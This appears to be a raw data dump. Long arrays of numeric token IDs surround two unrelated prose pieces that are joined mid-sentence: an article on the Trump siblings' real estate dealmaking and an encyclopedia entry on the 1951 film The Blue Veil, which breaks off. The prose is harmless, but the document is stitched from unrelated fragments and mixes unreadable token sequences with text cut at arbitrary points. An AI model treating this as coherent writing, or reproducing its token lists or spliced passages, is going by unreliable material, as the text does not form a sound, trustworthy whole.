[ 773, 3220, 3858, 4934, 2819, 387, 352, 13, 3981, 13, 2802, 42, 1158, 352, 457, 84, 7154, 15933, 533, 309, 4934, 3981, 352, 369, 2802, 2369, 1943, 2968, 9027, 18365, 187, 187, 50003, 285, 7586, 2743, 3778, 342, 247, 2557, 273, 34369, 15, 2091, 4645, 779, 247, 1896, 2968, 13, 5037, 2296, 13, 773, 1328, 1900, 33303, 275, 327, 253, 1264, 1841, 368, 1053, 457, 85, 871, 1425, 3856, 457, 84, 752, 253, 767, 26379, 452, 6311, 670, 2509, 2136, 13, 3778, 14, 4826, 27, 187, 187, 12501, 327, 253, 29684, 187, 2042, 368, 457, 250, 247, 1524, 8304, 871, 14, 262, 14, 455, 13, 368, 778, 417, 751, 10053, 3778, 15, 1422, 778, 1158, 1529, 13722, 13, 751, 1457, 2816, 457, 84, 12167, 13625, 390, 7854, 29735, 13, 34280, 9027, 84, 10053, 25063, 13, 21168, 6882, 375, 390, 9910, 390, 21440, 326, 403, 1805, 15, 1292, 6763, 14936, 15, 496, 958, 13, 22251, 12724, 2075, 247, 15087, 1905, 45064, 1333, 352, 457, 84, 3798, 1384, 2558, 281, 1884, 2558, 273, 752, 643, 10870, 3607, 20279, 1905, 323, 247, 345, 33285, 1514, 342, 253, 3778, 1416, 327, 352, 15, 34784, 22847, 285, 5037, 10512, 15, 1379, 2120, 5750, 273, 326, 15, 187, 187, 510, 3778, 17273, 41358, 247, 4451, 1899, 347, 253, 33178, 16252, 1524, 8304, 14754, 9141, 15, 380, 1535, 10628, 457, 11461, 310, 2074, 281, 752, 310, 1846, 275, 253, 8614, 4491, 13, 835, 1943, 46881, 751, 45280, 13, 8141, 5308, 285, 2398, 363, 1519, 7981, 616, 4454, 285, 15040, 281, 2571, 15, 33523, 4911, 10471, 2075, 3778, 271, 3302, 9801, 313, 27978, 13, 370, 18, 3041, 281, 370, 19, 3041, 10, 285, 5194, 281, 2075, 854, 2558, 281, 1458, 2558, 273, 253, 13711, 6224, 273, 616, 6882, 375, 15, 1310, 253, 3778, 1416, 11330, 253, 1384, 2558, 14, 11095, 36102, 13, 1097, 4676, 1056, 562, 15, 187, 187, 10971, 13, 253, 1535, 10628, 755, 347, 1199, 347, 2716, 273, 1046, 14838, 5087, 27433, 247, 22791, 13, 5431, 1384, 2558, 1840, 752, 597, 285, 616, 2440, 10471, 5194, 310, 4344, 2791, 1318, 273, 247, 2867, 15, 1198, 512, 436, 13, 3778, 3839, 12516, 642, 2583, 1066, 15, 773, 3039, 352, 3249, 281, 2583, 13, 954, 952, 403, 1512, 9202, 390, 30069, 281, 288, 356, 10582, 15, 8948, 597, 1158, 352, 457, 84, 11463, 90, 15, 2752, 12247, 2506, 457, 85, 1806, 2296, 5037, 15, 187, 187, 4678, 10995, 187, 5498, 31562, 849, 521, 3392, 1119, 247, 19080, 1039, 281, 823, 1249, 13, 933, 6278, 4669, 273, 2317, 281, 253, 14469, 6304, 2163, 4173, 327, 4913, 14216, 13, 534, 344, 11516, 281, 1029, 14, 423, 6882, 375, 15, 41898, 275, 29063, 13, 253, 3652, 574, 1052, 49130, 13, 7470, 347, 8614, 9956, 533, 14999, 253, 6278, 20541, 326, 253, 2303, 22251, 651, 4831, 15, 380, 35900, 2127, 17163, 796, 6240, 667, 6278, 4669, 281, 253, 2867, 15, 3778, 2183, 521, 3347, 27, 773, 2042, 368, 564, 407, 253, 3708, 29817, 13, 368, 457, 620, 1620, 755, 2712, 2218, 1425, 187, 187, 18130, 13, 665, 457, 69, 9716, 253, 2867, 323, 370, 12730, 3041, 285, 369, 9100, 370, 2227, 3041, 327, 30074, 569, 13, 3078, 281, 823, 2317, 407, 13633, 253, 3652, 457, 84, 5170, 23467, 15, 1893, 344, 11479, 8659, 1249, 13, 933, 6278, 4669, 273, 1711, 6264, 2317, 387, 253, 2605, 457, 84, 2613, 13, 6108, 1527, 17819, 11834, 247, 7145, 273, 253, 3652, 1977, 432, 253, 6406, 15, 187, 187, 5872, 13, 8133, 247, 19152, 327, 253, 3686, 273, 5454, 326, 310, 1846, 275, 1457, 2816, 35900, 13, 344, 9495, 253, 2317, 24311, 281, 1056, 8750, 28573, 407, 29893, 272, 247, 10194, 14, 395, 14, 25483, 6880, 1840, 253, 5368, 10699, 15, 1876, 5085, 387, 752, 1024, 310, 1925, 3778, 4913, 14216, 403, 4211, 3707, 323, 253, 15482, 5967, 13, 33449, 387, 370, 1237, 3041, 15, 187, 187, 11244, 253, 3420, 187, 8430, 10053, 3778, 327, 8120, 4850, 492, 6948, 275, 253, 2315, 13, 954, 4102, 323, 253, 25961, 13165, 13, 344, 310, 247, 6303, 387, 11365, 2762, 29957, 15, 773, 1231, 476, 513, 247, 3652, 275, 253, 4766, 273, 17663, 13, 285, 352, 2789, 3872, 3668, 1806, 2296, 5037, 15, 754, 285, 34784, 22847, 6947, 3038, 327, 253, 4481, 342, 16817, 275, 8238, 835, 747, 3778, 3607, 403, 1146, 3715, 15, 187, 187, 27958, 634, 4522, 1653, 187, 510, 11504, 3778, 310, 247, 26835, 382, 15, 1198, 1107, 344, 556, 11873, 1520, 253, 5753, 327, 752, 369, 987, 285, 3430, 342, 9195, 15, 1623, 581, 3332, 7814, 4131, 10053, 3778, 11580, 253, 5140, 2670, 273, 521, 8039, 2440, 13, 581, 273, 253, 1643, 10832, 518, 723, 344, 21186, 2233, 2558, 285, 323, 534, 344, 310, 8133, 598, 512, 253, 2583, 15, 733, 38319, 968, 521, 26634, 504, 15692, 2282, 275, 5226, 375, 7188, 3229, 13, 34280, 904, 6420, 273, 8742, 9757, 15, 187, 187, 18130, 285, 521, 5140, 15071, 1007, 689, 3530, 273, 42801, 40154, 323, 253, 4446, 1576, 15, 2635, 597, 564, 715, 253, 6303, 14098, 273, 581, 273, 253, 9910, 15, 34784, 22847, 13, 3778, 310, 2183, 13, 3912, 433, 436, 2419, 11066, 285, 753, 247, 3497, 943, 320, 4395, 281, 755, 247, 1805, 1859, 15, 773, 2993, 457, 84, 987, 1806, 3778, 2296, 15, 187, 187, 8195, 3778, 2199, 310, 11002, 275, 8911, 3228, 13, 427, 15, 43, 904, 247, 2378, 48418, 6421, 9787, 3600, 72, 326, 457, 84, 1024, 18240, 272, 15, 1457, 8911, 12259, 19172, 3096, 42723, 285, 5171, 17468, 403, 943, 2158, 253, 370, 30977, 3041, 2105, 273, 253, 19661, 14, 85, 1017, 345, 3088, 2605, 15, 44705, 3778, 33427, 285, 1955, 281, 1527, 275, 4695, 13, 352, 16966, 281, 320, 253, 10086, 383, 16252, 3652, 275, 253, 1375, 15, 187, 187, 5498, 10512, 15, 310, 327, 253, 4481, 342, 3096, 42723, 670, 253, 5140, 789, 387, 1878, 7019, 247, 2129, 15, 37405, 3096, 42723, 3078, 253, 3652, 281, 452, 773, 2653, 2275, 8111, 1806, 11859, 1499, 5375, 327, 1016, 5254, 326, 2963, 413, 562, 432, 253, 19633, 8099, 13, 23534, 253, 2344, 796, 715, 581, 14, 19192, 7118, 15, 1292, 5037, 13762, 779, 326, 841, 26322, 16723, 49932, 253, 2570, 457, 84, 4898, 13, 697, 1943, 10156, 1127, 15, 444, 2815, 8779, 253, 34036, 13, 5037, 9125, 13, 651, 823, 816, 370, 19, 591, 6278, 3174, 281, 253, 5140, 2105, 273, 370, 8320, 15, 187, 187, 10758, 512, 253, 5085, 5580, 13, 253, 1535, 10628, 588, 3297, 327, 347, 2867, 15071, 15, 2732, 512, 13, 616, 1416, 310, 327, 253, 3652, 15, 510, 10063, 19716, 300, 313, 43345, 3085, 10, 187, 187, 510, 10063, 19716, 300, 310, 247, 25124, 2448, 9493, 14562, 3085, 6828, 407, 32324, 10246, 29888, 15, 733, 8599, 253, 2926, 273, 247, 3416, 665, 30885, 617, 1495, 23374, 323, 643, 952, 457, 84, 2151, 13, 5068, 816, 846, 3645, 3660, 309, 15, 380, 4060, 10770, 281, 253, 1481, 69, 16443, 2378, 16332, 407, 1726, 1255, 265, 285, 295, 1136, 447, 13, 18010, 4797, 281, 12129, 731, 432, 253, 3168, 1670, 3683, 16332, 407, 3739, 16675, 15, 380, 3601, 1993, 407, 22497, 3094, 6481, 310, 1754, 327, 247, 2926, 407, 44987, 8647, 10422, 13, 12956, 323, 253, 5112, 14, 12982, 3085, 2070, 15914, 587, 35526, 86, 275, 22420, 15, 14884, 411, 22493, 6114, 275, 247, 5248, 326, 3797, 8444, 418, 4551, 251, 13, 29778, 2071, 857, 437, 13, 285, 3419, 5210, 13856, 2522, 15, 187, 187, 28253, 187, 17588, 253, 2471, 273, 617, 23066, 6858, 13, 2137, 28137, 6100, 24525, 22455, 25026, 247, 11287, 767, 14, 11151, 12714, 347, 15339, 50147, 281, 253, 13131, 3347, 273, 260, 641, 292, 11662, 26485, 611, 15, 34827, 2205, 13, 665, 3663, 521, 4475, 275, 1429, 25857, 15, 1500, 6446, 83, 8657, 684, 5972, 342, 253, 2021, 285, 6524, 4916, 247, 9928, 34188, 15, 2091, 703, 34044, 26485, 434, 10419, 13, 344, 2304, 2246, 521, 14385, 49350, 571, 308, 2061, 398, 257, 13, 665, 19333, 6100, 24525, 1563, 617, 39741, 49595, 15, 187, 187, 24525, 24525, 9010, 8410, 342, 20193, 8966, 285, 17436, 321, 367, 2103, 5292, 285, 9513, 281, 1557, 323, 6858, 6625, 17782, 15, 8937, 254, 3347, 23698, 310, 39372, 432, 34519, 2143, 1955, 281, 4105, 23129, 285, 3076, 3879, 285, 6548, 1728, 342, 521, 16304, 13, 21122, 6018, 266, 15, 2091, 21122, 310, 5907, 247, 2628, 275, 2325, 343, 307, 13, 344, 1607, 7228, 1242, 29328, 281, 6100, 24525, 13, 665, 25026, 15, 3900, 6179, 323, 521, 269, 757, 68, 7678, 281, 3584, 13, 21122, 16544, 281, 17436, 321, 13, 665, 42169, 779, 670, 45906, 247, 3416, 344, 12345, 6057, 15, 14566, 1273, 7906, 13, 344, 5936, 344, 285, 6100, 24525, 3343, 247, 1643, 2607, 1078, 45906, 13, 285, 703, 4558, 342, 253, 367, 2103, 250, 656, 15, 187, 187, 58, 6364, 1509, 13, 285, 6100, 24525, 310, 15339, 50147, 281, 38150, 13, 253, 13265, 14, 2913, 14, 744, 6122, 273, 33088, 12256, 20453, 31338, 19263, 77, 968, 15, 2091, 31338, 310, 13444, 387, 271, 47373, 285, 38771, 38150, 434, 16883, 13, 253, 3226, 8599, 617, 3858, 6100, 24525, 310, 617, 3101, 15, 10417, 3006, 253, 3226, 556, 2489, 1512, 7660, 281, 617, 13, 418, 3941, 276, 21936, 281, 1089, 789, 11358, 15, 187, 187, 6300, 2720, 281, 253, 1265, 273, 3645, 3660, 3719, 13, 6100, 24525, 25026, 247, 2628, 342, 23442, 285, 29835, 8757, 15, 29835, 27022, 253, 4668, 285, 310, 11062, 275, 6680, 13, 40021, 521, 4475, 281, 6604, 779, 275, 5854, 15, 5761, 1107, 1509, 13, 285, 253, 5261, 12997, 23442, 13, 665, 1335, 556, 417, 4895, 1728, 13, 14545, 10430, 2583, 281, 1329, 617, 3347, 14861, 15, 6100, 24525, 25026, 8294, 323, 253, 5006, 285, 16540, 779, 347, 617, 1211, 15, 20175, 1996, 13, 672, 23442, 417, 7790, 617, 703, 310, 10884, 342, 617, 747, 5938, 13, 6100, 24525, 7771, 265, 281, 7758, 342, 14861, 13, 533, 310, 9833, 285, 6636, 342, 39721, 15, 4129, 344, 310, 24152, 281, 6100, 24525, 434, 4112, 13, 253, 3286, 6834, 310, 25042, 407, 1569, 281, 1091, 14861, 281, 23442, 15, 187, 187, 4125, 1512, 1711, 281, 320, 49979, 342, 253, 1557, 273, 247, 6858, 13, 6100, 24525, 25026, 247, 44118, 2081, 451, 2628, 275, 271, 18307, 2143, 275, 1340, 281, 320, 2810, 281, 2151, 15, 2091, 703, 12941, 271, 39109, 78, 10364, 13, 703, 41217, 344, 310, 6625, 17782, 367, 2103, 5292, 13, 253, 1024, 6782, 3347, 273, 617, 3438, 18652, 15, 6625, 17782, 41969, 617, 281, 521, 1728, 323, 8955, 253, 1563, 2129, 285, 4077, 6525, 323, 512, 253, 2151, 323, 5207, 703, 24782, 281, 320, 627, 342, 616, 46179, 15, 1284, 6100, 24525, 32010, 598, 342, 617, 3438, 7260, 13, 6625, 17782, 43076, 344, 5605, 617, 281, 320, 253, 295, 10059, 323, 521, 1211, 2151, 15, 187, 187, 19447, 187, 14884, 411, 22493, 347, 6100, 24525, 22455, 187, 8444, 418, 4551, 251, 347, 26485, 611, 15, 34827, 2205, 187, 29778, 2071, 857, 437, 347, 31338, 19263, 77, 968, 187, 7727, 11197, 1665, 347, 21122, 6018, 266, 2490, 3419, 5210, 13856, 2522, 347, 17436, 321, 367, 2103, 5292, 187, 2639, 10747, 443, 15, 10231, 347, 8966, 367, 2103, 5292, 2490, 12469, 5292, 39800, 350, 347, 23442, 8757, 187, 330, 6147, 300, 330, 316, 471, 347, 6893, 41360, 968, 187, 50033, 9002, 347, 38150, 19263, 77, 968, 187, 31802, 757, 657, 593, 347, 49350, 571, 308, 2061, 398, 257, 187, 5682, 473, 8, 10759, 965, 1994, 347, 29835, 8757, 187, 5037, 11276, 347, 3196, 15, 6911, 367, 2103, 5292, 187, 17363, 12436, 322, 4213, 1351, 347, 4412, 10158, 187, 17560, 18593, 1321, 347, 21001, 15, 6086, 16863, 187, 187, 42993, 16112, 187, 35, 375, 2205, 22211, 508, 273, 253, 1457, 2816, 7717, 1925, 253, 3085, 346, 66, 665, 2784, 314, 8913, 267, 16024, 14, 28133, 6426, 544, 3529, 62, 588, 42620, 1554, 11434, 273, 6440, 2184, 398, 665, 751, 2717, 1805, 685, 247, 1175, 3501, 449, 754, 2879, 13, 346, 7710, 15, 3094, 6481, 434, 10076, 13, 762, 32324, 10246, 29888, 434, 18377, 90, 3884, 13, 33902, 5767, 411, 22493, 434, 4112, 1051, 14806, 247, 2962, 273, 1061, 2147, 314, 5101, 14326, 13305, 13, 523, 30487, 281, 29684, 253, 2798, 285, 1246, 436, 10692, 347, 247, 572, 36731, 14, 965, 1882, 24032, 15, 1707, 310, 1652, 275, 253, 1039, 273, 19311, 13, 650, 262, 390, 13, 323, 326, 2647, 13, 1524, 10359, 1051, 14866, 411, 22493 ]

“My friends kept looking at it, saying, ‘I think it’s broken,’ but I kept saying it was ‘no big deal.’ ” Brother and sister regard Trump with a measure of awe. When showing him a possible deal, Don says, “He always zeros in on the three things you don’t know.” Here’s what the two siblings have learned about doing business, Trump-style: Put on the squeeze If you’re a real estate know-it-all, you may not like Donald Trump. You may think another developer, like New York’s Stephen Ross or Irvine, Calif.’s Donald Bren, builds condos or houses or hotels that are better. But thousands disagree. In fact, buyers consistently pay a premium — brokers say it’s usually 20 percent to 30 percent of what other comparable properties fetch — for a condominium with the Trump name on it. Ivanka and Don Jr. take full advantage of that. The Trump Organization occupies a unique position as the lone residential real estate franchiser. The Trumps’ arrangement is similar to what is common in the hotel industry, where big outfits like Hilton, Starwood and Marriott license their names and expertise to others. Prospective partners pay Trump an initial fee (usually, $1 million to $2 million) and agree to pay 8 percent to 15 percent of the gross sales of their condos. If the Trump name produces the 20 percent-plus premiums, both parties make out. Finally, the Trumps get as much as half of every dollar paid exceeding a benchmark, typically 20 percent above what they and their development partners agree is fair market value of a property. For all this, Trump generally puts no money down. “When it comes to money, most people are too afraid or embarrassed to haggle. Maybe they think it’s tacky. My dad doesn’t,” says Don. Be creative Don recalls how his father found a clever way to add 12,000 square feet of space to the Hotel Delmonico on Park Avenue, which he converted to high-end condos. Built in 1929, the building had 200 suites, suitable as hotel rooms but lacking the square footage that the target buyers would demand. The zoning code forbade adding any square feet to the property. Trump told his son: “If you go by the status quo, you’ll never get anything done.” Trump, who’d purchased the property for $115 million and was spending $85 million on renovations, wanted to add space by extending the building’s upper floors. So he gutted 12,000 square feet of old commercial space at the structure’s base, leaving open dirt beneath a corner of the building away from the street. Then, putting a twist on the sort of trade that is common in New York zoning, he transferred the space upstairs to make bigger apartments by erecting a steel-and-glass extension above the existing roof. All units at what now is called Trump Park Avenue are sold except for the penthouse, priced at $32 million. Use the media Although Donald Trump on occasion gets trashed in the press, most recently for the casino bankruptcy, he is a master at generating positive publicity. “We can do a building in the middle of nowhere, and it makes national news,” says Don. He and Ivanka spend hours on the phone with reporters in cities where new Trump properties are being developed. Know your timbers The elder Trump is a perfectionist. For years he has lectured the kids on what was right and wrong with buildings. On one recent Saturday morning Donald Trump visited the construction site of his housing development, one of the few undertakings he owns 100 percent and for which he is putting up all the money. It adjoins his seaside golf course in Palos Verdes, Calif., south of Los Angeles. Trump and his construction managers look over samples of patio bricks for the driveways. Then they go into the master bedroom of one of the houses. Ivanka, Trump is told, toured this house yesterday and said a window should be moved to get a better view. “She’s right,” Trump says. Another Trump project is rising in Jersey City, N.J., a once dowdy industrial burg that’s now rallying. New Jersey developers Dean Geibel and Paul Fried are shouldering the $415 million cost of the twin-tower condo structure. Called Trump Plaza and due to open in 2008, it promises to be the tallest residential building in the state. Don Jr. is on the phone with Geibel about the construction work at least twice a week. Originally Geibel wanted the building to have “eyebrows,” concrete slabs on each floor that poke out from the exterior walls, dividing the facade into one-story sections. But Don convinced him that these protrusions disguised the complex’s height, its big selling point. Eliminating the eyebrows, Don argued, would add just $2 per square foot to the construction cost of $400. Once all the units sell, the Trumps will stay on as property managers. After all, their name is on the building.The Blue Veil (1951 film) The Blue Veil is a 1951 American historical drama film directed by Curtis Bernhardt. It tells the story of a woman who spends her life caring for other people’s children, beginning just after World War I. The title refers to the headdresses once worn by governesses and nannies, colored blue to distinguish them from the white veils worn by medical nurses. The screenplay by Norman Corwin is based on a story by François Campaux, adapted for the French-language film Le Voile Bleu in 1942. Jane Wyman stars in a cast that includes Charles Laughton, Joan Blondell, and Agnes Moorehead. Plot Following the death of her newborn baby, war widow LouLou Mason accepts a temporary two-week assignment as nursemaid to the infant son of corset manufacturer Frederick K. Begley, who lost his wife in childbirth. She ingratiates herself with the family and eventually becomes a permanent fixture. When she declines Frederick's proposal, he marries his secretary Alicia Torgersen, who fires LouLou following her honeymoon. LouLou finds employment with wealthy Henry and Fleur Palfrey and begins to care for baby Robbie. Older son Harrison is expelled from boarding school due to poor grades and bad behavior and returns home with his tutor, Jerry Kean. When Jerry is offered a job in Beirut, he impulsively proposes to LouLou, who accepts. While waiting for his fiancée to pack, Jerry speaks to Fleur, who warns him about marrying a woman he barely knows. Having second thoughts, he suggests he and LouLou wait a few months before marrying, and she remains with the Palfreys. Years pass, and LouLou is nursemaid to Stephanie, the twelve-year-old daughter of fading musical actress Annie Rawlins. When Annie is delayed at an audition and misses Stephanie's confirmation, the girl tells her friends LouLou is her mother. Realizing the girl has become too attached to her, Loulou decides to find work elsewhere. Just prior to the start of World War II, LouLou accepts a job with Helen and Hugh Williams. Hugh joins the military and is injured in battle, prompting his wife to join him in England. Two years pass, and the widowed Helen, who still has not returned home, stops sending money to support her son Tony. LouLou accepts responsibility for the boy and raises him as her own. Years later, when Helen notifies her she is returning with her new husband, LouLou flees to Florida with Tony, but is arrested and charged with kidnapping. Although he is sympathetic to LouLou's situation, the district attorney is compelled by law to return Tony to Helen. Now too old to be entrusted with the care of a baby, LouLou accepts a janitorial job in an elementary school in order to be close to children. When she visits an ophthalmologist, she discovers he is Robbie Palfrey, the now adult son of her former employers. Robbie invites her to his home for dinner the following week and arranges for all the children for whom she cared to be there with their spouses. As LouLou catches up with her former charges, Robbie announces he wants her to be the nanny for his own children. Cast Jane Wyman as LouLou Mason Charles Laughton as Frederick K. Begley Joan Blondell as Annie Rawlins Richard Carlson as Jerry Kean Agnes Moorehead as Fleur Palfrey Carleton G. Young as Henry Palfrey Audrey Totter as Helen Williams Cyril Cusack as Frank Hutchins Natalie Wood as Stephanie Rawlins Vivian Vance as Alicia Torgersen Dan O'Herlihy as Hugh Williams Don Taylor as Dr. Robert Palfrey Everett Sloane as District Attorney Alan Napier as Prof. George Carter Critical reception Bosley Crowther of the New York Times called the film "a whoppingly banal tear-jerker [that] will lure multitudes of moviegoers who like nothing better than a good cry." He added, "Mr. Corwin's scenario, under Curtis Bernhardt's soupy direction, stretches Miss Wyman's situation...into a series of parchedly sunlit episodes, contrived to squeeze the heart and present this lady as a quivering-lipped saint. There is little in the way of wit, grit or, for that matter, real substance...Miss Wyman

[ 6133, 274, 1025, 24380, 313, 9042, 59, 10, 667, 530, 15, 52, 15, 42786, 390, 22161, 9954, 556, 644, 275, 253, 3127, 296, 21672, 15, 187, 187, 510, 3918, 671, 4102, 6294, 1066, 9526, 273, 2418, 36533, 33050, 3796, 457, 84, 7234, 326, 253, 530, 15, 52, 15, 556, 271, 1527, 1386, 273, 5511, 342, 8462, 543, 31524, 13, 285, 651, 3524, 281, 8415, 253, 7344, 27242, 5372, 15, 3778, 512, 21015, 281, 253, 958, 326, 521, 13500, 285, 13, 954, 2779, 13, 253, 530, 15, 52, 15, 20884, 651, 320, 3192, 1557, 273, 253, 4112, 327, 253, 13247, 33489, 15, 1145, 275, 14, 12198, 86, 5645, 494, 305, 20253, 310, 2424, 275, 2176, 4893, 835, 247, 45059, 3490, 2550, 320, 3732, 281, 253, 305, 20253, 281, 830, 247, 14393, 15, 2596, 824, 2898, 310, 275, 247, 27859, 33168, 323, 5277, 17216, 2315, 321, 1320, 275, 271, 33667, 15, 380, 33168, 310, 8818, 275, 2709, 8661, 342, 253, 24633, 25254, 42103, 1598, 4802, 281, 253, 24633, 6108, 247, 1355, 17998, 875, 253, 2613, 273, 1016, 15096, 9092, 285, 253, 24633, 7592, 15, 496, 253, 2406, 8661, 273, 13800, 835, 253, 3276, 310, 4942, 1698, 271, 30595, 26168, 7923, 390, 17023, 2144, 778, 320, 4845, 715, 436, 2317, 281, 830, 247, 14393, 15, 1310, 253, 2317, 310, 417, 18495, 2315, 40182, 17216, 2329, 588, 8773, 949, 436, 2317, 8493, 6733, 15, 1723, 13, 387, 253, 2169, 8661, 273, 13800, 835, 253, 3276, 310, 4942, 1029, 285, 778, 6054, 281, 9166, 15, 14577, 15, 401, 15, 390, 2169, 13, 6041, 30595, 8056, 390, 17023, 305, 1945, 1507, 16528, 366, 285, 2550, 32385, 253, 3126, 15, 5131, 6041, 305, 20253, 4753, 534, 476, 30565, 2169, 9208, 1690, 12112, 42639, 3469, 2220, 253, 2898, 273, 247, 45059, 3490, 281, 830, 247, 14393, 15, 743, 5645, 494, 14393, 310, 11408, 323, 4893, 534, 513, 417, 3469, 2220, 247, 45059, 3490, 281, 830, 247, 14393, 285, 3782, 835, 253, 14393, 1364, 320, 3576, 1840, 18509, 9208, 15, 50, 27, 187, 187, 4756, 27, 44962, 4305, 16, 18961, 27898, 556, 642, 34652, 3558, 686, 18961, 8, 187, 187, 42, 452, 436, 2127, 27, 187, 2948, 551, 20772, 748, 432, 686, 18677, 4305, 16, 18961, 5618, 187, 187, 4553, 45527, 436, 13, 309, 755, 253, 2228, 2490, 187, 18677, 4305, 16, 18961, 3, 556, 642, 34652, 3558, 686, 18961, 5983, 50276, 187, 187, 42, 717, 417, 2104, 281, 11322, 436, 15, 187, 18179, 13098, 1804, 247, 2900, 32, 187, 187, 34, 27, 187, 187, 1147, 4453, 368, 897, 47317, 15253, 362, 23, 15, 496, 362, 23, 13, 253, 1039, 368, 1395, 5300, 556, 644, 1160, 1199, 625, 3477, 15, 5402, 1395, 943, 320, 751, 253, 1563, 27, 187, 2948, 551, 18961, 94, 432, 686, 18677, 4305, 5618, 187, 187, 2214, 625, 4278, 1239, 253, 10346, 7102, 15, 535, 39355, 302, 3134, 25668, 342, 4198, 1171, 311, 285, 867, 338, 290, 266, 300, 27, 12107, 1055, 273, 9765, 14, 32387, 37245, 1102, 327, 10919, 1159, 15, 187, 1992, 3653, 253, 1055, 273, 9765, 14, 32387, 37245, 1102, 275, 1363, 6883, 37251, 3134, 25668, 342, 4198, 1171, 311, 14, 2013, 338, 290, 266, 300, 15, 33523, 4911, 13, 14871, 1263, 15, 2499, 4675, 15, 9523, 329, 4576, 3520, 3708, 309, 285, 3719, 1363, 13, 10652, 4567, 281, 8026, 1107, 13, 11526, 323, 23761, 3488, 808, 4182, 15, 12493, 497, 18564, 715, 767, 2390, 13, 253, 1971, 285, 253, 1453, 2390, 313, 53, 1387, 285, 330, 1387, 481, 308, 1387, 2959, 9765, 14, 32387, 37245, 1102, 7469, 5770, 32939, 608, 281, 721, 3038, 1078, 5869, 15, 5769, 4906, 2069, 285, 6341, 497, 2218, 1078, 37251, 2452, 313, 85, 17, 582, 5329, 2909, 846, 4983, 37251, 2452, 313, 85, 18, 582, 5091, 2909, 846, 4983, 37251, 2452, 313, 85, 19, 582, 5329, 2909, 846, 7355, 273, 5222, 302, 2452, 313, 85, 20, 582, 285, 2164, 3038, 846, 5869, 313, 85, 21, 481, 12751, 267, 1159, 369, 7515, 407, 5175, 41418, 285, 25784, 3470, 27, 41418, 24077, 2281, 13, 24622, 35317, 273, 11914, 313, 12297, 1322, 558, 24622, 35317, 273, 32739, 313, 12297, 4037, 558, 285, 19006, 427, 14, 28152, 14, 18, 14, 2461, 14, 37, 14, 20522, 26471, 4988, 15678, 313, 1322, 40, 10, 3605, 313, 1322, 30206, 481, 4051, 8056, 792, 24077, 2281, 2193, 6376, 19965, 275, 512, 3110, 7625, 15, 401, 3460, 267, 35317, 273, 11914, 369, 1561, 3806, 13794, 275, 1097, 2390, 387, 2069, 246, 17, 13, 246, 18, 13, 285, 246, 19, 15, 2058, 673, 246, 20, 13, 247, 1534, 20015, 9, 1322, 10, 5241, 369, 2540, 15, 2058, 436, 673, 13, 20015, 1322, 369, 3012, 2169, 275, 330, 1387, 685, 308, 1387, 313, 49, 654, 470, 15, 2874, 481, 20015, 4037, 673, 2282, 369, 2074, 281, 253, 20015, 1322, 9058, 15, 2058, 673, 246, 21, 13, 20015, 1322, 285, 20015, 4037, 4895, 281, 15919, 2193, 15, 2058, 673, 246, 20, 13, 427, 2696, 74, 369, 671, 2559, 1293, 1534, 734, 4399, 3910, 313, 49, 654, 470, 15, 520, 13, 367, 654, 470, 15, 2874, 13, 285, 367, 654, 470, 15, 520, 4632, 2069, 246, 17, 13, 246, 18, 13, 246, 19, 275, 330, 1387, 13, 2975, 28, 367, 654, 470, 15, 520, 13, 367, 654, 470, 15, 520, 13, 285, 367, 654, 470, 15, 2874, 4632, 2069, 246, 17, 13, 246, 18, 13, 285, 246, 19, 275, 308, 1387, 13, 2975, 481, 496, 1363, 1293, 667, 10919, 2728, 13, 37251, 3134, 25668, 342, 4198, 1171, 311, 285, 867, 338, 290, 266, 300, 1543, 275, 247, 15550, 25784, 12909, 13, 534, 4620, 281, 320, 36625, 407, 253, 26308, 5286, 273, 9765, 14, 32387, 37245, 1102, 15, 2948, 84, 27, 187, 50274, 14, 551, 7741, 27, 27479, 3043, 5397, 16, 6986, 15, 46415, 748, 187, 187, 21922, 27, 187, 50274, 6113, 19232, 64, 630, 64, 20348, 15, 630, 15, 881, 27, 187, 50270, 2437, 27, 16048, 37852, 61, 18099, 61, 20356, 18099, 61, 26943, 61, 11594, 267, 61, 18099, 61, 6072, 19232, 5232, 27689, 18099, 61, 5232, 61, 6989, 27689, 2548, 187, 50270, 31126, 27, 187, 50266, 14, 37994, 9629, 64, 9742, 8, 187, 50270, 23059, 27, 187, 50266, 14, 551, 1416, 27, 830, 15, 881, 748, 187, 187, 13980, 27, 187, 50274, 2083, 351, 398, 27, 187, 50270, 23875, 37852, 61, 12118, 61, 20356, 61, 13745, 61, 6989, 61, 6989, 27, 8342, 1156, 535, 50274, 11404, 5852, 27, 187, 50270, 249, 64, 20704, 27, 187, 50266, 20704, 27, 187, 50262, 15987, 27, 187, 50258, 75, 1368, 1136, 265, 27, 551, 9868, 27, 1071, 13, 9503, 27, 544, 13935, 1843, 64, 23131, 62, 748, 535, 50274, 11342, 45930, 27, 187, 50270, 4, 831, 43505, 2506, 626, 1056, 3282, 275, 5019, 342, 253, 1551, 273, 253, 187, 50270, 4, 6661, 1873, 13, 533, 352, 434, 1060, 323, 5175, 6378, 313, 3088, 417, 897, 187, 50270, 4, 436, 1873, 275, 247, 1524, 1533, 10076, 2167, 10, 187, 50270, 20348, 64, 630, 27, 187, 50266, 17523, 27, 5042, 16, 20348, 5, 187, 50266, 13980, 27, 3221, 535, 50270, 6986, 27, 187, 50266, 2808, 483, 64, 251, 64, 4537, 64, 4168, 27, 2032, 187, 50266, 630, 64, 20348, 27, 187, 50262, 5903, 64, 3967, 27, 1227, 20348, 64, 5903, 187, 50262, 6986, 64, 7831, 64, 3967, 27, 1227, 14729, 187, 50262, 7831, 64, 3967, 64, 19484, 27, 346, 4537, 64, 20348, 48701, 7831, 64, 3967, 9336, 187, 50262, 33699, 64, 3967, 64, 19484, 27, 346, 4537, 64, 20348, 48701, 33699, 64, 3967, 9336, 187, 50262, 19721, 64, 19484, 27, 346, 4537, 64, 20348, 60, 19721, 9336, 187, 50262, 15760, 64, 19484, 27, 346, 4537, 64, 20348, 60, 15760, 9336, 187, 50262, 6113, 19232, 64, 19484, 27, 346, 4537, 64, 20348, 48701, 13763, 9336, 187, 50262, 6113, 19232, 64, 13763, 64, 36089, 27, 3988, 15, 6113, 19232, 15, 13763, 64, 20649, 187, 50266, 266, 10598, 27, 5062, 187, 50266, 2808, 483, 27, 187, 50262, 3967, 27, 1227, 2808, 483, 64, 3967, 187, 50262, 7831, 27, 1227, 187, 50262, 6113, 19232, 64, 13763, 64, 36089, 27, 3988, 15, 6113, 19232, 15, 13763, 64, 20649, 535, 50274, 10773, 64, 8519, 27, 187, 50270, 14, 551, 1854, 27, 964, 2992, 9503, 27, 4110, 64, 37482, 3489, 1864, 11657, 64, 47825, 58, 748, 187, 26008, 11656, 839, 1684, 46788, 267, 